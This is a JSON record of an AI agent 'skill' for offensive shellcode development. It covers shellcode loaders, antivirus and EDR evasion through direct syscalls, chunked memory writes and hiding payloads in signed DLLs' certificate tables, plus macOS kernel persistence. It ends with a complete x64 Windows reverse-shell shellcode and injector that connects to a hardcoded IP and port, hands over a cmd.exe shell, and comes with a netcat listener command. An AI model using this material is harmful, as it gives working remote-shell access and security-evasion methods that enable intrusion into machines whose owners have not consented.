{"id":"offensive-shellcode","name":"offensive-shellcode","summary":"攻撃的セキュリティ作戦のためのシェルコード開発リファレンス。カスタムx86/x64シェルコードを書く際、位置非依存コード(PIC)の実装、シェルコードローダーの作成、AV/EDR検出の回避、PEファイルをシェルコードに変換する際に使用してください。","body":"## Shellcode Development Workflow\n\n1. Define concept and target platform (x86/x64, Windows/Linux/macOS)\n2. Write assembly using position-independent techniques\n3. Extract binary and test in controlled environment\n4. Apply null byte avoidance and optimizations\n5. Encode/encrypt to evade static detection\n6. Package with loader and choose delivery method\n\n---\n\n## Basic Concepts\n\n### Execution Pattern (Allocate-Write-Execute)\n\nAvoid direct `PAGE_EXECUTE_READWRITE` — prefer:\n1. Allocate with `PAGE_READWRITE`\n2. Write shellcode to allocated region\n3. Call `VirtualProtect` to switch to `PAGE_EXECUTE_READ`\n\n```c\nchar *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);\nmemcpy(dest, shellcode, 0x1234);\nVirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);\n((void(*)())dest)();\n```\n\n### Position-Independent Code (PIC) Techniques\n\n| Method | Platform | Notes |\n|--------|----------|-------|\n| Call/Pop | Windows | Push next addr, pop into register |\n| FPU state | Windows | `fstenv` saves instruction pointer |\n| SEH | Windows | Exception handler stores EIP |\n| GOT | Linux | Global Offset Table |\n| VDSO | Linux | Kernel-provided shared object |\n\n---\n\n## Windows API Resolution (PEB Walk)\n\nIdentifying `kernel32.dll` without imports:\n\n1. Get `PEB` via `gs:[0x60]` (x64) or `fs:[0x30]` (x86)\n2. Walk `PEB->Ldr.InMemoryOrderModuleList` — order: exe → ntdll → kernel32\n3. Hash-compare module names to locate `kernel32`\n4. Parse the Export Address Table (EAT)\n5. Find `GetProcAddress` by name hash, then resolve `LoadLibraryA`\n6. Use `LoadLibraryA` to load `WS2_32.dll`, resolve Winsock functions\n\n**WinDbg helpers for debugging PEB walk:**\n```bash\ndt nt!_TEB -y ProcessEnvironmentBlock @$teb\ndt nt!_PEB -y Ldr <peb_addr>\ndt -r _PEB_LDR_DATA <ldr_addr>\ndt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)\nlm m kernel32   # verify base address\nr @r8           # check register\n```\n\n---\n\n## Shellcode Loaders\n\n### Loader Responsibilities\n\n- Environment verification / keying (sandbox detection)\n- Shellcode decryption\n- Safe memory allocation and injection\n- Ends its duties after injecting\n\n**Recommended languages:** Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)\n\n### Allocation Phase\n\nAvoid `RWX` allocations — use two-step:\n- `VirtualAllocEx` / `NtAllocateVirtualMemory` — allocate `RW`\n- `ZwCreateSection` + `NtMapViewOfSection` — alternative approach\n- After writing: `VirtualProtectEx` to switch to `RX`\n\n**Other options:** code caves, stack/heap (with DEP disabled)\n\n### Write Phase\n\n- `WriteProcessMemory` / `NtWriteVirtualMemory`\n- `memcpy` to mapped section\n\n**Evasion tips:**\n- Prepend shellcode with dummy opcodes\n- Split into chunks, write in randomized order\n- Add delays between writes\n\n### Execute Phase\n\nMost scrutinized step — EDR checks thread start address against image-backed memory:\n\n| Technique | Notes |\n|-----------|-------|\n| `CreateRemoteThread` / `ZwCreateThreadEx` | Loud, heavily monitored |\n| `NtSetContextThread` | Hijack suspended thread |\n| `NtQueueApcThreadEx` | APC injection |\n| API trampolines | Overwrite function prologue |\n| ThreadlessInject | No new threads created |\n\n**Indirect execution resources:**\n- [FlavorTown](https://github.com/Wra7h/FlavorTown)\n- [AlternativeShellcodeExec](https://github.com/aahmad097/AlternativeShellcodeExec)\n- [ThreadlessInject](https://github.com/epi052/ThreadlessInject)\n\n---\n\n## PE-to-Shellcode Conversion\n\n| Tool | Purpose |\n|------|---------|\n| [Donut](https://github.com/TheWover/donut) | EXE/DLL → shellcode |\n| [sRDI](https://github.com/monoxgas/sRDI) | DLL → position-independent shellcode |\n| [Pe2shc](https://github.com/hasherezade/pe_to_shellcode) | PE → shellcode |\n| [Amber](https://github.com/EgeBalci/amber) | Reflective PE packer |\n\n**Open-source loaders:**\n- [ScareCrow](https://github.com/optiv/ScareCrow)\n- [NimPackt-v1](https://github.com/chvancooten/NimPackt-v1)\n- [NullGate](https://github.com/specterops/NullGate) — indirect syscalls + junk-write sequencing\n- [DripLoader](https://github.com/xuanxuan0/DripLoader) — chunked RW writes + direct syscalls + JMP trampoline\n- [ProtectMyTooling](https://github.com/mgeeky/ProtectMyTooling) — chain multiple protections\n- Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)\n\n---\n\n## Shellcode Storage & Hiding\n\n| Location | Risk | Notes |\n|----------|------|-------|\n| Hardcoded in `.text` | Medium | Requires recompile; stored `RW/RO` |\n| PE Resources (`RCDATA`) | High | Most scanned by AV |\n| Extra PE section | Medium | Use second-to-last section |\n| Certificate Table | Low | Keeps signed PE signature intact |\n| Internet-hosted | Variable | [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) |\n\n**Certificate Table technique** (recommended):\n- Pad Certificate Table with shellcode bytes; update PE headers\n- Backdoor only the loader DLL (e.g., `ffmpeg.dll` in `teams.exe`)\n- Main executable signature remains valid; only the DLL signature breaks\n\n**Protection:** Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.\n\n> **Windows 11 24H2 note:** AMSI heap scanning is active. Allocate with `PAGE_NOACCESS`, decrypt in place, then switch to `PAGE_EXECUTE_READ` to avoid live-heap scans.\n\n---\n\n## Evasion\n\n### Progressive Evasion Escalation\n\n1. Basic shellcode execution (baseline)\n2. Add XOR/AES encryption + obfuscation\n3. Direct syscalls to bypass userland hooks\n4. Remote process injection as last resort\n\n### Local vs Remote Injection\n\nRemote injection is more detectable:\n- `CFG` / `CIG` enforcement\n- ETW Ti feeds\n- EDR call-stack back-tracing (`NtOpenProcess` invocation source)\n- More scrutinized steps: OpenProcess → Allocate → Write → Execute\n\n**Defender bypass tools** ([DefenderBypass](https://github.com/hackmosphere/DefenderBypass)):\n- `myEncoder3.py` — XOR-encrypt binary shellcode\n- `InjectBasic.cpp` — basic C++ injector\n- `InjectCryptXOR.cpp` — XOR decrypt + inject\n- `InjectSyscall-LocalProcess.cpp` — direct syscalls, no suspicious IAT entries\n- `InjectSyscall-RemoteProcess.cpp` — remote process injection via direct syscalls\n\n---\n\n## Cross-Platform Considerations\n\n### Windows on ARM64 (WoA)\n\n- Syscalls use `SVC 0` with ARM64 table in `ntdll!KiServiceTableArm64`\n- Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with `PACIASP`\n\n### Linux 6.9+ (eBPF Arena)\n\n- `BPF_MAP_TYPE_ARENA` maps can hold executable memory\n- Hide shellcode chunks in arena map, execute via `bpf_prog_run_pin_on_cpu`\n\n### macOS (Signed System Volume)\n\n- macOS 12+ seals the system partition; unsigned payloads cannot reside there\n- Userspace: launch agents, dylib hijacks in `/Library/Apple/System/Library/Dyld/`\n- Kernel persistence: create sealed snapshot, mount RW, inject, resign with `kmutil`, bless\n\n---\n\n## DripLoader Technique\n\n[github.com/xuanxuan0/DripLoader](https://github.com/xuanxuan0/DripLoader):\n\n1. Reserve 64KB chunks with `NO_ACCESS`\n2. Allocate 4KB `RW` chunks within that pool\n3. Write shellcode in chunks in randomized order\n4. Re-protect to `RX`\n5. Overwrite prologue of `ntdll!RtlpWow64CtxFromAmd64` with JMP trampoline\n6. All calls via direct syscalls: `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtCreateThreadEx`\n\n---\n\n## Full x64 Reverse Shell Shellcode (Windows)\n\nComplete Python/Keystone example implementing PEB walk → `GetProcAddress` → `LoadLibraryA` → Winsock connect → `CreateProcessA(cmd.exe)`:\n\n```python\nimport ctypes, struct\nfrom keystone import *\n\nCODE = (\n# Locate kernel32 Base Address\n    \" start:                         \"\n    \"   add rsp, 0xfffffffffffffdf8 ;\" # Avoid Null Byte and make some space\n    \" find_kernel32:                 \"\n    \"   int3                        ;\" # WinDbg breakpoint (disable for release)\n    \"   xor rcx, rcx                ;\"\n    \"   mov rax, gs:[rcx + 0x60]    ;\" # RAX = PEB\n    \"   mov rax, [rax + 0x18]       ;\" # RAX = PEB->Ldr\n    \"   mov rsi, [rax + 0x20]       ;\" # RSI = InMemoryOrderModuleList\n    \"   lodsq                       ;\"\n    \"   xchg rax, rsi               ;\"\n    \"   lodsq                       ;\"\n    \"   mov rbx, [rax + 0x20]       ;\" # RBX = kernel32 base\n    \"   mov r8, rbx                 ;\"\n# Parse Export Address Table\n    \"   mov ebx, [rbx+0x3C]         ;\" # PE signature offset\n    \"   add rbx, r8                 ;\" # RBX = PE header\n    \"   xor r12,r12                 ;\"\n    \"   add r12, 0x88FFFFF          ;\"\n    \"   shr r12, 0x14               ;\"\n    \"   mov edx, [rbx+r12]          ;\" # EAT RVA\n    \"   add rdx, r8                 ;\" # RDX = EAT VA\n    \"   mov r10d, [rdx+0x14]        ;\" # NumberOfFunctions\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x20]        ;\" # AddressOfNames RVA\n    \"   add r11, r8                 ;\" # AddressOfNames VA\n# Find GetProcAddress\n    \"   mov rcx, r10                ;\"\n    \" k32findfunction:               \"\n    \"   jecxz functionfound         ;\"\n    \"   xor ebx,ebx                 ;\"\n    \"   mov ebx, [r11+4+rcx*4]      ;\" # Function name RVA\n    \"   add rbx, r8                 ;\" # Function name VA\n    \"   dec rcx                     ;\"\n    \"   mov rax, 0x41636f7250746547 ;\" # 'GetProcA'\n    \"   cmp [rbx], rax              ;\"\n    \"   jnz k32findfunction         ;\"\n# Get function address\n    \" functionfound:                 \"\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x24]        ;\" # AddressOfNameOrdinals RVA\n    \"   add r11, r8                 ;\"\n    \"   inc rcx                     ;\"\n    \"   mov r13w, [r11+rcx*2]       ;\" # Ordinal\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x1c]        ;\" # AddressOfFunctions RVA\n    \"   add r11, r8                 ;\"\n    \"   mov eax, [r11+4+r13*4]      ;\"\n    \"   add rax, r8                 ;\" # GetProcAddress VA\n    \"   mov r14, rax                ;\" # R14 = GetProcAddress\n# Resolve LoadLibraryA\n    \"   mov rcx, 0x41797261         ;\"\n    \"   push rcx                    ;\"\n    \"   mov rcx, 0x7262694c64616f4c ;\"\n    \"   push rcx                    ;\" # 'LoadLibraryA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r8                 ;\" # kernel32 base\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\" # GetProcAddress(kernel32, LoadLibraryA)\n    \"   add rsp, 0x40               ;\"\n    \"   mov rsi, rax                ;\" # RSI = LoadLibraryA\n# LoadLibrary(\"WS2_32.dll\")\n    \"   xor rax, rax                ;\"\n    \"   mov rax, 0x6C6C             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x642E32335F325357 ;\"\n    \"   push rax                    ;\" # 'WS2_32.dll'\n    \"   mov rcx, rsp                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call rsi                    ;\" # LoadLibraryA(\"WS2_32.dll\")\n    \"   mov r15, rax                ;\" # R15 = WS2_32 base\n    \"   add rsp, 0x40               ;\"\n# WSAStartup\n    \"   mov rax, 0x7075             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x7472617453415357 ;\"\n    \"   push rax                    ;\" # 'WSAStartup'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\" # GetProcAddress(ws2_32, WSAStartup)\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   xor rcx,rcx                 ;\"\n    \"   mov cx,408                  ;\"\n    \"   sub rsp,rcx                 ;\"\n    \"   lea rdx,[rsp]               ;\" # lpWSAData\n    \"   mov cx,514                  ;\" # wVersionRequired = 2.2\n    \"   sub rsp,88                  ;\"\n    \"   call r12                    ;\" # WSAStartup\n# WSASocketA — create socket\n    \"   mov rax, 0x4174             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x656b636f53415357 ;\"\n    \"   push rax                    ;\" # 'WSASocketA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   sub rsp,0x208               ;\"\n    \"   xor rdx, rdx                ;\"\n    \"   sub rsp, 88                 ;\"\n    \"   mov [rsp+32], rdx           ;\"\n    \"   mov [rsp+40], rdx           ;\"\n    \"   inc rdx                     ;\"\n    \"   mov rcx, rdx                ;\"\n    \"   inc rcx                     ;\"\n    \"   xor r8,r8                   ;\"\n    \"   add r8,6                    ;\"\n    \"   xor r9,r9                   ;\"\n    \"   mov r9w,98*4                ;\"\n    \"   mov ebx,[r15+r9]            ;\"\n    \"   xor r9,r9                   ;\"\n    \"   call r12                    ;\" # WSASocketA\n    \"   mov r13, rax                ;\" # R13 = socket handle\n    \"   add rsp, 0x208              ;\"\n# WSAConnect — connect to C2\n    \"   mov rax, 0x7463             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x656e6e6f43415357 ;\"\n    \"   push rax                    ;\" # 'WSAConnect'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   mov rcx, r13                ;\" # socket handle\n    \"   sub rsp,0x208               ;\"\n    \"   xor rax,rax                 ;\"\n    \"   inc rax                     ;\"\n    \"   inc rax                     ;\"\n    \"   mov [rsp], rax              ;\" # AF_INET = 2\n    \"   mov rax, 0xbb01             ;\" # Port 443 (big-endian)\n    \"   mov [rsp+2], rax            ;\"\n    \"   mov rax, 0x31061fac         ;\" # IP 172.31.6.49 — UPDATE THIS\n    \"   mov [rsp+4], rax            ;\"\n    \"   lea rdx,[rsp]               ;\"\n    \"   mov r8, 0x16                ;\" # sizeof(sockaddr_in)\n    \"   xor r9,r9                   ;\"\n    \"   push r9                     ;\"\n    \"   push r9                     ;\"\n    \"   push r9                     ;\"\n    \"   sub rsp, 0x88               ;\"\n    \"   call r12                    ;\" # WSAConnect\n# Re-locate kernel32 and resolve CreateProcessA\n    \"   xor rcx, rcx                ;\"\n    \"   mov rax, gs:[rcx + 0x60]    ;\"\n    \"   mov rax, [rax + 0x18]       ;\"\n    \"   mov rsi, [rax + 0x20]       ;\"\n    \"   lodsq                       ;\"\n    \"   xchg rax, rsi               ;\"\n    \"   lodsq                       ;\"\n    \"   mov rbx, [rax + 0x20]       ;\"\n    \"   mov r8, rbx                 ;\"\n    \"   mov rax, 0x41737365636f     ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x7250657461657243 ;\"\n    \"   push rax                    ;\" # 'CreateProcessA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r8                 ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\" # R12 = CreateProcessA\n# Push cmd.exe + build STARTUPINFOA\n    \"   mov rax, 0x6578652e646d63   ;\"\n    \"   push rax                    ;\" # 'cmd.exe'\n    \"   mov rcx, rsp                ;\" # lpApplicationName\n    \"   push r13                    ;\" # hStdError = socket\n    \"   push r13                    ;\" # hStdOutput = socket\n    \"   push r13                    ;\" # hStdInput = socket\n    \"   xor rax,rax                 ;\"\n    \"   push ax                     ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x100              ;\" # STARTF_USESTDHANDLES\n    \"   push ax                     ;\"\n    \"   xor rax,rax                 ;\"\n    \"   push ax                     ;\"\n    \"   push ax                     ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x68               ;\"\n    \"   push rax                    ;\" # cb = 0x68\n    \"   mov rdi,rsp                 ;\" # RDI = &STARTUPINFOA\n# Call CreateProcessA\n    \"   mov rax, rsp                ;\"\n    \"   sub rax, 0x500              ;\"\n    \"   push rax                    ;\" # lpProcessInformation\n    \"   push rdi                    ;\" # lpStartupInfo\n    \"   xor rax, rax                ;\"\n    \"   push rax                    ;\" # lpCurrentDirectory = NULL\n    \"   push rax                    ;\" # lpEnvironment = NULL\n    \"   push rax                    ;\"\n    \"   inc rax                     ;\"\n    \"   push rax                    ;\" # bInheritHandles = TRUE\n    \"   xor rax, rax                ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\" # dwCreationFlags = 0\n    \"   mov r8, rax                 ;\" # lpThreadAttributes = NULL\n    \"   mov r9, rax                 ;\" # lpProcessAttributes = NULL\n    \"   mov rdx, rcx                ;\" # lpCommandLine = 'cmd.exe'\n    \"   mov rcx, rax                ;\" # lpApplicationName = NULL\n    \"   call r12                    ;\" # CreateProcessA\n)\n\nks = Ks(KS_ARCH_X86, KS_MODE_64)\nencoding, count = ks.asm(CODE)\nprint(\"Encoded %d instructions...\" % count)\n\nsh = b\"\"\nfor e in encoding:\n    sh += struct.pack(\"B\", e)\nshellcode = bytearray(sh)\n\nctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p\nctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)\nctypes.windll.kernel32.CreateThread.argtypes = (\n    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,\n    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),\n)\n\nptr = ctypes.windll.kernel32.VirtualAlloc(\n    ctypes.c_int(0), ctypes.c_int(len(shellcode)),\n    ctypes.c_int(0x3000), ctypes.c_int(0x40)\n)\nbuf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)\nctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))\n\nprint(\"Shellcode at %s\" % hex(ptr))\ninput(\"Press ENTER to execute...\")\n\nht = ctypes.windll.kernel32.CreateThread(\n    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),\n    ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),\n)\nctypes.windll.kernel32.WaitForSingleObject(ht, -1)\n```\n\n> **Note:** Update IP (`0x31061fac`) and port (`0xbb01`) before use. Listener: `nc -nvlp 443`\n>\n> **Windows 11 23H2:** Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.","author":"@SnailSploit","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/infrastructure/offensive-shellcode","license":"MIT","category":"writing","lang":"en","tokens":5370,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}